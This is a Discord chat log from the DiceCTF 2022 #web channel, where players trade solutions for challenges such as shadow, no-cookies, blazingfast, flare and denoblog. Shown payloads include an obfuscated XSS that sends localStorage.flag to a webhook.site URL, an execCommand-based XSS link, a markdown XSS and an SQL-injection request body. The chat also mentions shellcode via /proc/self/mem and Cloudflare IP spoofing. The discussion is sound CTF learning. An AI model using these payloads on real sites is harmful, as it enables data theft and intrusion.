#web

1 messages · Page 4 of 1

nocturne snow
#

suddenly? or after some time?

main geyser
#

why wont you released the flare writeup?

azure kelp
#

shadow is so hard without a click 😭

nocturne snow
#

shadow looks unsolvable...

tame hawk
main geyser
#

im thinking its a shadow dom 0day

#

😄

nocturne snow
tame hawk
#

shadow does not require a 0day 😑

main geyser
#

hahaha

hollow vortex
#

no-cookies giving brain damage

nocturne snow
main geyser
#

gonna enjoy reading the writeups for a few of these challenges

knotty tinsel
#

No give us your 0days please

lime jacinth
#

ok dirbusting now /j

plucky sand
#

need wp of no-cookies

hollow vortex
honest wedge
#

maximum i got - text highlited without css change)))

unknown.png
oak geode
#

why use css when you can use whatever magic this man is on

granite bone
#

got writeup for this?

cosmic monolith
cerulean spruce
#

yeah ill post my writeups when i finish writing them after the CTF is over

silk nimbus
#

The challenges will be on after ctf ?

oak geode
#

there's a CSP?

tame hawk
granite bone
night viper
#

hint in 4 minutes? 😉

autumn gull
#

cursed denoblog remote

oak geode
#

man used his mouse to select text

honest wedge
autumn gull
#

locally working exploit 😭

cosmic monolith
#

you can use JS to select text too

honest wedge
#

but then i need access to this text)))

nocturne flame
#

hey now lets not discuss

spice cape
#

challenges will be online for a bit

#

but not forever because we are using our own money

silk nimbus
spice cape
#

yea we are currently thinking 2 weeks

#

we will take money to extend it tho 😉

wise haven
#

asdjhasiudhasiudhaisuhdasuid i thinki have something for shadow but idk how to exploit

#

asidjoasjdoaisjd

mortal pendant
#

All the XSS in no-cookies couldn't get me the damn unencrypted password 😦

grand sundial
#

Is it finally over ? 😄

cerulean spruce
#

gg

wise haven
#

yall should extend it by 30 minutes fr

#

🥲

finite bloom
#

vm-calc writeup????

dim crane
#

nooooooo

grand sundial
#

No Cookie please 😄

safe wigeon
#

sqli and xss were not enough to solve no-cookies 😦

candid coral
#

fakkkkkkkkkk

grand sundial
#

and notekeeper

mortal pendant
#

Got my ass kicked by the web challenges, but it was pretty fun

azure kelp
#

almost solved shadow if the bot could click anywhere for once 😭

dim crane
#

what

grand sundial
#

those 2 drove me crazy

dim crane
#

we got the flag

candid coral
#

30 secondsssssssss

honest wedge
#

GG!

cosmic monolith
#

shadow solution plz

dim crane
cerulean spruce
#

LMFAO

vague willow
#

what was blazingfast?

candid coral
#

literally 30 seconds

dim crane
#

omg

echo rose
#

pleaseee someone explain how blazingfast is solved

cerulean spruce
#

nooooooooo

#

omg

wind nebula
#

@candid coral which chal?

sturdy ravine
#

flare ? could it be done via warp and http/3? seems cloudflare fixed it

candid coral
#

shadow

cerulean spruce
#

RIP

wind nebula
#

oof

safe wigeon
#

blazingfast solution:

fflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflffl<img src=x onerror="''['\141\164']['\137\137\160\162\157\164\157\137\137']['\143\157\156\163\164\162\165\143\164\157\162']('\146\145\164\143\150(`\150\164\164\160\163://\167\145\142\150\157\157\153.\163\151\164\145/90396\1465\141-59\146\141-40\146\145-\14182\146-\145\14421\1415\14611009?Q=${\154\157\143\141\154S\164\157\162\141\147\145.\146\154\141\147}`)')()"/>
oak geode
night viper
candid coral
#

i wanna cry lol

hollow vortex
#

no-cookies please

cerulean spruce
#

(can we just give it to them) lemonthink

#

i wont say anything

finite bloom
mortal pendant
finite bloom
#

Did they already released official writeups?

lean thunder
finite bloom
#

What is the solution for vmcalc . Is it 0day in vm2

safe wigeon
cerulean spruce
#

im still working on writeups

#

wait a little longer :>

#

but no

#

vm-calc was not a vm2 0day

#

it was a nodejs 1-day

#

:D

vital umbra
#

🤠

cerulean spruce
scenic cave
#

what was nocookies?

vital umbra
cerulean spruce
#

@vital umbra want to tell them

#

lmfaooo

#

toxic

vital umbra
#

????

#

i dont know where to start

scenic cave
mortal pendant
# safe wigeon yes

That's my doubt... At least where my dumb analysis went, the mock() function would stop in the first tag opening and return 1, stoping the rest of the execution.

vital umbra
#

oh

#

um after sqli + xss you peer into the global RegExp object

cerulean spruce
#

js moment incoming

vital umbra
cerulean spruce
#

js moment

vital umbra
#

JS MOMENT

crisp thunder
#

with nocookies I got into XSS, also got sqlite3 error and dom clobbering but no idea

cerulean spruce
#

god i love javascript

frank mortar
#

what was shadow , that got all of my time

sturdy ravine
#

the fuck

scenic cave
#

lmao

sturdy ravine
#

JS CTF

#

nice

vital umbra
#

basically the password is in RegExp.input 🙂

mortal pendant
vital umbra
#

oh noo 😭

tame hawk
#

😔

mortal pendant
#

I was trying to find a Request object with the password stored.

vital umbra
#

ahh i see

mortal pendant
delicate warren
#

mad at myself for coughing up 5$ for warp+ for flare just in case

silk nimbus
#

flare solution ?

vital umbra
autumn gull
#

So frustrated with denoblog, had an exploit that was reliable locally, nothing happening remotely

delicate warren
#

it didn't work for me either way

cerulean spruce
quaint merlin
#

any carrot writeups?

sturdy ravine
#

@vital umbra i got into the rabbit hole due to the fact that you could specify the instance value different from the url, so the first promise wasn't resolved. Thought maybe we could somehow trigger only 1 dialog and then navigate to /register so that the bot registers with the password in the login 🙂 theoretically possible, but obviously unintended

delicate warren
#

curious about denoblog too, very interesting, even with inotify i couldn't find any other temp files or anything

mortal pendant
sly tartan
#

So shadow write up is first comming tomorrow?

dim crane
#

you had to bruteforce both pid and fd

vital umbra
autumn gull
#

Like, we had the right pid/fd from nginx bc we could exfil etc/passwd

delicate warren
#

oh you could access it from a nginx worker process...?

autumn gull
#

but the shellcode didn't take

wind nebula
cerulean spruce
#

how did u write ur shellcode?

autumn gull
#

hxp include stuff + write to /proc/self/mem

wind nebula
#

that worked for us remotely

frank mortar
#

wait guys let's ask for shadow fucking stuff with no solves

autumn gull
#

after parsing /proc/self/maps

sturdy ravine
#

ok how about flare?

vital umbra
storm aspen
#

Wriiteup for Blazingfast please. Not sure what the vulnerability there was

frank mortar
silk nimbus
#

flare writeup ?

quaint merlin
vital umbra
storm aspen
hollow geyser
#

the grind continues

smoky dirge
#

blazingfast's vuln is buffer didn't get clear right?

honest wedge
#

well. now we can talk about shadow?

quaint merlin
#

thats a vuln but it doesnt get triggered

smoky dirge
#

looking for writeup 👀

honest wedge
#

how to get steal me focused?)

smoky dirge
#

spend tons of time in that buffer rabbit hole

quaint merlin
frank mortar
wind nebula
#

what was the flare bug?

cosmic monolith
shrewd scroll
#

I'm kinda curious to see how carrot was meant to be solved. We spent a lot of time trying to get CSRF + XSleaks through timing attacks to work but we weren't able to reliably time the onload

quaint merlin
dim crane
#

yea what was carot

oak geode
#

☝️

pure kestrel
dim crane
#

bruh

pure kestrel
#

❤️

dim crane
#

how long did it took you?

pure kestrel
#

2 times

dim crane
#

i mean hours

#

or minutes

mortal pendant
pure kestrel
#

i had most of it ready

#

but 4h

vital umbra
dim crane
#

👍

hollow vortex
shrewd scroll
#

Dang, I was looking at the wrong xsleak method

grave coral
scenic cave
#

ok so you can release web shadow writeup now?

#

pls

vital umbra
#

okay, fine

silk nimbus
vital umbra
#

we'll release it soon

#

👀

silk nimbus
grave coral
#

flare wont happen probably

vital umbra
honest wedge
#

wow

#

thanks

scenic cave
#

nooo

#

we had almost all of it

#

we were just missing find

vital umbra
#

😭

honest wedge
#

ahahah

oak geode
finite bloom
#

@vital umbra link?

vital umbra
quaint merlin
#

oh

#

i was missing the insertHTML bit

vital umbra
quaint merlin
#

but ig thats like half the exploit lmao

delicate warren
#

damn

#

i thought of insertHTML

#

but i couldn't figure out how to get the cursor in

azure kelp
#

first time knowing there is window.find wtf

empty star
#

is there a writeup for knock-knock

honest wedge
vital umbra
empty star
#

ty

grand sundial
#

@fleet vale how did you bypass 16 char limit in notekeeper ?

frank mortar
fleet vale
cerulean spruce
#

here are writeups for notekeeper, vm-calc, denoblog, and larry's challenge blazingfast:

https://brycec.me/posts/dicectf_2022_writeups

DiceCTF 2022 Writeups

DiceCTF 2022
Hello everyone! It's been a while since I last wrote something for my blog, but I'm still here... :)
It's the new year now, and my team DiceGang noteKeeper, vm-calc, and denoblog, but I'l...

#

:D

grand sundial
#

GOD DAMNIT

cerulean spruce
#

@fleet vale also rip no one solved noteKeeper with serviceworkers

mortal pendant
cerulean spruce
#

but your js method was very cool too!

#

forgot abt that 😅

fleet vale
#

what did sg use?

cerulean spruce
#

window.opener.document.write

cinder island
fleet vale
#

ah k

nocturne flame
#

no it was the source code for randomUUID

cinder island
#

yeah

nocturne flame
#

because it gets converted to a string

#

kinda meme

#

but that is why exact node version was important

#

so docker was given

dim crane
fleet vale
#

jsonp to full javascript execution

dim crane
#

we used opener.document.write

dim crane
cerulean spruce
#

😭 service workers my beloved

main geyser
#

I assumed it'd be converted to 'undefined' if that was the case

#

Eventually had to set up the docker to get it

dim crane
delicate warren
#

for denoblog, in my testing on the docker I thought that the deno process cannot read nginx's temp file

#

since it runs as nobody

#

and i got perm errors in my logs lemonthink

sturdy ravine
#

So no one knows about flare?

delicate warren
#

those directories were owned by root in my docker

#

maybe i deleted a line or something dumb in the dockerfile

#

ohh it's the child process

#

i'm dumb

cerulean spruce
#

where did denoblog solvers overwrite /proc/self/mem?

delicate warren
#

i just had checked nginx's parent process

wind nebula
cerulean spruce
#

oh i see! thats really cool

wind nebula
#

it was surprisingly easy

cerulean spruce
#

makes sense makes sense

#

i just found some fn in deno then overwrote that

autumn gull
#

tried to patch it to just always return "go ahead", but couldn't be bothered to figure out the proper structure for the return value

cerulean spruce
#

ah i see

#

rip

#

that seems tough, i struggled along that path for like an hour before trying something else when test solving

plucky sand
#

any wp of no-cookies

dim crane
vital umbra
grave coral
#

Non-standard: This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

#

this is what you love to see

autumn gull
#

tried a nop sled too in the final minutes, still didn't work :/

grave coral
#

on top of a mdn doc

vital umbra
dim crane
autumn gull
#

Somehow, no

dim crane
#

We were getting nginx backend error after overwrite

autumn gull
#

Locally, yes

#

because we exit'd

#

the remote just kept giving internal server errors

dim crane
#

How do you know you were hitting right pid?

autumn gull
#

We could exfil /etc/passwd with a different payload

dim crane
candid coral
#

so the sqli in nocookie was useless

scenic cave
#

you needed it for xss, right?

#

at least that's how we got xss

candid coral
#

i had xss

#

with the markdown

cerulean spruce
#

with markdown you couldnt use RegExp.input since it would overwrite :)

candid coral
# 
a[d](b"onfocus=alert`23` autofocus tabindex=1 ")z
scenic cave
#

lol we didnt even find that

vital umbra
#

i added a markdown mode to justify innerHTML and i let copilot write a bootleg markdown renderer

cerulean spruce
#

copilot moment

vital umbra
#

and that introduced xss, but i left it in because it was kinda funny

#

because you can't do the RegExp.$_ thing after

grave coral
#

copilot 💀

#

copilot writing vulns in code

vital umbra
#

copilot traaaash

frank mortar
#

copilot == backdoor stuffs

vital umbra
#

this was all copilot lol

unknown.png
ruby eagle
#

Flare writeup?

cerulean spruce
#

🙏 copilot keeping our jobs secure

vital umbra
#

or insecure

#

depending on who you are

frank mortar
candid coral
#

ok time to find real author of the markdown writer and get some xss bounties on websites he developed

dim crane
#

🧠 ...

frank mortar
candid coral
#

you go try find the sqli author if that was also built with copilot

main geyser
frank mortar
#

oOoOo yesss sqli has more bounties

cosmic monolith
#

i suppose you could just try all public IPs to find the origin IP then directly connect and set CF-Connecting-IP?

plush quest
autumn gull
#

/proc/self/mem

plush quest
#

++

autumn gull
main geyser
#

well actually you'd be fuzzing CF so prob fine

nocturne flame
#

CF can eat any amount of spam you can possibly create on your own

#

but no that is not the way

cosmic monolith
fallow anchor
#

hoping for a writeup though

cosmic monolith
#

I tried CNAMEing to flare.mc.ax from a Cloudflare domain I control but CF has a special error for that: http://no.cogzap.com/

warped laurel
#

we tried CF worker stuff, but no shot

#

likely all fixed already

feral hill
#

🙃

fallow anchor
#

what did you try?

feral hill
#

boom you see the flag

fallow anchor
#

huh hm

sturdy ravine
#

erm, tried warp, didn't work for me

feral hill
#

try disabling your native IPv4 and connect to WARP with IPv6 only?

grave coral
#

god dammit

#

rip

warped laurel
#

LOL

mortal stirrup
sturdy ravine
#

ah, so it's ipv6, alright

grave coral
cerulean spruce
#

haha

grave coral
#

please dont release writeup you're gonna get all the skids

#

to spoofing IPs

sturdy ravine
#

i even connected an aws instance with ipv6 to warp but then got distracted lol

grave coral
fallow anchor
#

lol

sturdy ravine
cerulean spruce
#

smh why did you make it a chall then if you didnt want it leeked

grave coral
#

the audience was different

feral hill
#

🙃

grave coral
#

I accidentally brought it to the wrong audience

feral hill
#

but i tried to re-create this challenge and failed

fallow anchor
#

so it had nothing to do with finding the origin server ip?

#

wow

main geyser
#

was the solution warp?

feral hill
#

i dont really know what's required for setting up on cloudflare side

grave coral
#

nothing required

#

you can't reproduce

#

if your backend is ipv6

#

this only works because of the ipv6 -> ipv4 interaction cloudflare

feral hill
#

so I do have it pointed to an ipv4 server

grave coral
#

uhhhh

#

no idea then lemonthink

feral hill
#

and i got this on my nginx

grave coral
#

wait but 242.179.244.41

#

is a bogon?

#

so this is a reproduction

feral hill
grave coral
#

oh

#

uh

#

one sec

feral hill
#

but i don't think it's private...?

#

or it's just im idiot and it indeed is private?

grave coral
#

its not technically private

#

i have no idea why python thinks its private

#

its Class E

feral hill
#

wtf

#

okay then

grave coral
#

they're bogons

#

Class E is reserved and cannot be used on the public Internet.

#

but technically just because they're "not public" doesn't mean they're private msupside_down

#

those are two different things by classful network definition

cerulean spruce
feral hill
#

well it's reasonable enough then

grave coral
#

its reasonable enough

#

but <insert IEEE/RFC standard here>

#

yeah

#

there are specific defined private-use networks tho

feral hill
grave coral
#

haha

#

anyway

umbral cipher
#

shadow writeup?

nocturne flame
crude thunder
#

what was no-cookies writeup @vital umbra ,during ctf i successfully found xss,but did not know how to steal flag

brisk meteor
ivory pike
ivory pike
#

i have replaced JSON.stringify with my own function

#

and called this funcion

unknown.png
#

using arguments.callee.caller

#

good thing it was separated from prompts lol

ivory pike
cerulean spruce
#

wtf lmao

ivory pike
#

honestly i wasnt expecting html to parse and script to run before executing line 60

#

but it worked XD

cerulean spruce
#

oh holy shit

ivory pike
#

i thought is intended solution as this function was separated

cerulean spruce
#

the js executed before line 60???

ivory pike
#

and flag was matching too

#

yep

#

lol

cerulean spruce
#

🔥

#

@vital umbra

somber solar
somber solar
ivory pike
#

idk lol i guess parsing html after changing innerHTML is sync

#

or javascript is super slow XD

crude thunder
ivory pike
#

we couldnt use it i replaced JSON.stringify as it was called

#

with password

#

as argument

ivory pike
crude thunder
#

i am in college

#

will take a deep look after what you did

#

anyway thanks dude

plucky lodge
#

that was an exceptional finding ❤️‍🔥

ivory pike
#

lol

#

ty

tame hawk
#

👏

vital umbra
ivory pike
#

😎

rich ridge
ivory pike
#

it was changed after it

#

but i called anonymous function again

#

arguments.callee.caller()

#

so JSON.stringify was called again

#

with password

azure kelp
#

how could that sqli be used to xss? I only know the markdown one

ivory pike
#

just insert a note with html tags

#

as they were deleted only while adding note

rich ridge
#

oh arguments.callee.caller() is not a part of JSON.stringify(), I parsed it falsely

#

ty for your resp

azure kelp
ivory pike
#

ye use sqli to do that

#

i think my payload looked like this:

# 
"password": "pass"
"note": ", :mode, 0, 0) -- ",
"mode": "actual note and xss"```
(POST to /create)
#

and mode was used as note content

candid coral
#

Didn't you find the markdown xss or that wouldn't work?

light stratus
#

Any writeup for flare?

covert thicket
#

but offical, but it work for me

tame hawk
#

smh such 🧀

covert thicket
#

can i know who solve web/shadow?

#

he will be a really awesome guy.

brisk meteor
covert thicket
dim crane
tame hawk
cinder island
arctic merlin
scenic cave
#

Ah I see how it works now

ivory pike
#

Im replacing document.querySelector

#

which gets called by this function in line 60

scenic cave
#

yeah realized that now, really smart!

scenic cave
main geyser
#

any writeup for shadow

granite bone
#

any writeup for flare?

knotty tinsel
main geyser
knotty tinsel
main geyser
wind nebula
#

my guess is that the nested svg is parsed in a different mode (svg mode, not html mode) and thats why it behaves differently

#

but i guess you have to read the html spec to know for sure

knotty tinsel
#

I don't know the exact reason but yeah

cerulean spruce
#

seems to work with an img tag for me thonkeng

# 
https://shadow.mc.ax/?y=-webkit-user-modify:read-write;&x=%3Cimg%20src=x%20onerror=%27document.execCommand(%22FindString%22%2C%20false%2C%20%22steal%22)%3B%20document.execCommand(%22SelectAll%22)%3B%20document.execCommand(%22insertHTML%22%2C%20false%2C%20%60%3Cimg%20src%3Dx%20onerror%3D%22alert(this.parentNode.parentNode.outerHTML)%22%20%2F%3E%60)%3B%27/%3E
knotty tinsel
#

ig you just need to get the 2nd parent if using img tag?

#

I was having issues when I originally tried using an img tag too but I don't remember the reason

cerulean spruce
#

oh it appears to be my document.execCommand('SelectAll');

#

wack

ivory pike
#

and i just asked @plush quest does he know any xss payload

#

and he send me svg onload xD

knotty tinsel
#

Still not sure of the exact reason here

#

I think the img tag is being removed from dom before onerror is fired unless you do SelectAll?

#

Could be totally wrong

cerulean spruce
#

yeah that might be it

#

it just seems to not have any parent

#

weird

#

this is what the dom looks like without the SelectAll

unknown.png
#

this and the $0 img tag in the elements tab somehow are different elements?

#

wack

cerulean spruce
#

thats not even documented

#

i love js

#

oh wait @knotty tinsel how did u find that lmao

storm lodge
loud geode
#

iirc arx found it in chrome source lol

storm lodge
knotty tinsel
main geyser
#

🤣

cinder island
#

both of them dont work

#

why?

mortal stirrup
cinder island
cinder island
#

index.js :

unknown.png
mortal stirrup
# 
❯ cat index.js
const crypto = require('crypto');
console.log(crypto.createHmac('sha256', `secret-${crypto.randomUUID}`).update('0').digest('hex'))
❯ /usr/local/bin/node -v
v17.4.0
❯ /usr/local/bin/node index.js
7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
#

whats the output of ```js
secret-${crypto.randomUUID}

cinder island
mortal stirrup
#

might be line endings?

unknown.png
storm lodge
#

I think it's \r\n on Windows, because I can reproduce 1ac7056f7beb7929213e625824620dbda59bd519c706fda69f9aca1bd914c175 after replace all \n to \r\n

# 
console.log(
  crypto.createHmac('sha256',
    `secret-${crypto.randomUUID.toString().replaceAll('\n', '\r\n')}`)
  .update('0').digest('hex')
)
cinder island
#

Thanks!

main geyser
#

i mean you should really have ran the docker image though

#

then you don't need to deal with platform-specific issues like that

brisk meteor
#

!!

#

I've quoted this one comment so many times 🙃

viscid igloo
grave coral
#

Unintended 0day be like lemonthink

dreamy compass
#

@feral hill 👀